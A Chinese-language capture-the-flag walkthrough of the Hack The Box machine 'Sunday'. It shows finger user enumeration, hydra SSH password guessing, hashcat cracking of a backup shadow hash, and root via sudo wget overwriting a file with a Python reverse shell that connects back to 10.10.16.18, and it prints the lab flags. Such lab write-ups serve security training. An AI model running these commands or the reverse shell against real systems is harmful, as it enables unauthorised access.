[Meachines] [Easy] Sunday Finger网络用户枚举+Wget文件覆盖权限提升

信息收集

IP Address Opening Ports
10.10.10.76 TCP:79, 111, 515, 6787, 22022

$ nmap -p- 10.10.10.76 --min-rate 1000 -sC -sV

bash 复制代码
PORT      STATE SERVICE VERSION
79/tcp    open  finger?
| fingerprint-strings:
|   GenericLines:
|     No one logged on
|   GetRequest:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|   HTTPOptions:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|     OPTIONS ???
|   Help:
|     Login Name TTY Idle When Where
|     HELP ???
|   RTSPRequest:
|     Login Name TTY Idle When Where
|     OPTIONS ???
|     RTSP/1.0 ???
|   SSLSessionReq, TerminalServerCookie:
|_    Login Name TTY Idle When Where
|_finger: No one logged on\x0D
111/tcp   open  rpcbind 2-4 (RPC #100000)
515/tcp   open  printer
6787/tcp  open  http    Apache httpd
|_http-title: 400 Bad Request
|_http-server-header: Apache
22022/tcp open  ssh     OpenSSH 8.4 (protocol 2.0)

Finger

$ wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

$ tar -zxvf finger-user-enum-1.0.tar.gz

$ cd finger-user-enum-1.0

$ ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76

$ hydra -L user.txt -p 'sunday' ssh://10.10.1

username:sunny password:sunday

sunny 横向 sammy

$ ssh -p 22022 sunny@10.10.10.76

sunny@sunday:~$ cat /backup/shadow.backup

$ echo '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB'>hash

$ hashcat -m 7400 hash /usr/share/wordlists/rockyou.txt --force

username:sammy password:cooldude!

User.txt

be9b6b0e94d29be3bfc0373008b2b38a

权限提升

$ ssh -p 22022 sammy@10.10.10.76

$ sudo /usr/bin/wget http://10.10.16.18/reverse.py -O /root/troll

python 复制代码
#!/usr/bin/python

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.18",10032))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

$ sudo /root/troll

脚本将每五秒自动恢复/root/troll初始状态,所以需要快速输入

Root.txt

59b946dc21f12651e440bbfd962cbff0

相关推荐
Eloudy15 分钟前
RoCE 的 UC SEND/RECEIVE 的完整交互过程分析
网络·rdma·roce
花间相见17 分钟前
【计算基础|网络10】TCP(中):可靠传输
网络·网络协议·tcp/ip
谢亮_vipxieliang30 分钟前
多智能体系统的“TCP/IP时刻”:MCP与A2A协议如何定义Agent时代
网络·tcp/ip·ai·php
草莓熊Lotso1 小时前
【C++ 基于微服务的即时通讯系统】基建三件套:gflags + gtest + spdlog 源码编译安装与实战入门
linux·网络·数据库·c++·微服务·log4j
通信大模型10 小时前
IEEE TCCN | 面向低空经济网络的Agentic AI驱动多无人机轨迹优化
网络·人工智能·无人机
wdfk_prog10 小时前
LWIP教程 09:从 `tcp_slowtmr()` 到 Fast Retransmit——TCP 超时重传与重复 ACK
服务器·网络·数据库·网络协议·tcp/ip
15Moonlight10 小时前
Linux网络(02):Socket 编程 UDP
linux·网络·udp
盛世宏博智慧档案10 小时前
一文读懂 PoE+Modbus TCP 温湿度传感器布线规范与故障排查
网络·网络协议·tcp/ip
liulilittle11 小时前
Linux 下 select 测试函数
linux·服务器·网络·数据库·c++·select·c